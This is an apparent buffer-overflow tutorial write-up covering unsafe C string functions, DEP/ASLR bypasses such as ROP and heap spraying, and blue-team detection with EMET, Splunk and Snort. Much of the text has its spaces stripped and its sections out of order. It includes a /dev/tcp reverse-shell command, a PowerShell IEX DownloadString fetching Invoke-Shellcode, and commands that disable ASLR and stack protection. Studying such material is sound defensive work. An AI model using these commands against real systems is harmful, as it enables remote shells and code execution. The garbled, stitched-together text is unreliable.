charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
